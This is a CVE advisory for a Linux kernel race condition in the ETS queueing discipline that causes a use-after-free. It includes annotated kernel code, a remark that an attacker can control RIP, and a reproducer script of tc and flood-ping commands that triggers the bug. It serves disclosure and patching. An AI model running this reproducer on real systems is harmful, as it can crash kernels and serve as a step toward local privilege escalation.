CVE-2025-71066

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

State
Published
Severity
7.8 High
Published
Jan 13, 2026
Updated
Aug 5, 2026
Reserved
Jan 13, 2026

Read the record on cve.org

Description

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...

// (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch);

for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); }

WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));

for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]);

for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); }

// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch);

ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }

Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc

Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com)

``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

Scores

CVSSScoreVectorSource
3.17.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HLinux
3.17.5 HighCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:HCISA-ADP

Weaknesses

  • CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected Products

ProductVersions
LinuxLinux
  • ae2659d2c670252759ee9c823c4e039c0e05a6f2 to before 062d5d544e564473450d72e6af83077c2b2ff7c3Affected
  • e25bdbc7e951ae5728fee1f4c09485df113d013c to before c7f6e7cc14df72b997258216e99d897d2df0dbbdAffected
  • de6d25924c2a8c2988c6a385990cafbe742061bf to before a75d617a4ef08682f5cfaadc01d5141c87e019c9Affected
  • de6d25924c2a8c2988c6a385990cafbe742061bf to before 9987cda315c08f63a02423fa2f9a1f6602c861a0Affected
  • de6d25924c2a8c2988c6a385990cafbe742061bf to before 06bfb66a7c8b45e3fed01351a4b087410ae5ef39Affected
  • de6d25924c2a8c2988c6a385990cafbe742061bf to before 45466141da3c98a0c5fa88be0bc14b4b6a4bd75cAffected
  • de6d25924c2a8c2988c6a385990cafbe742061bf to before ce052b9402e461a9aded599f5b47e76bc727f7deAffected
  • 5.10.83 to before 5.10.248Affected
  • 5.15.6 to before 5.15.198Affected
LinuxLinux
  • 5.16Affected
  • before 5.16Not affected
  • 5.10.248 through 5.10.*Not affected
  • 5.15.198 through 5.15.*Not affected
  • 6.1.160 through 6.1.*Not affected
  • 6.6.120 through 6.6.*Not affected
  • 6.12.64 through 6.12.*Not affected
  • 6.18.3 through 6.18.*Not affected
  • 6.19 and laterNot affected

References

Every record here comes from the CVE Program’s CVE List. © 1999–2026 The MITRE Corporation. CVE is a registered trademark of The MITRE Corporation. The records are reproduced under the CVE Program terms of use.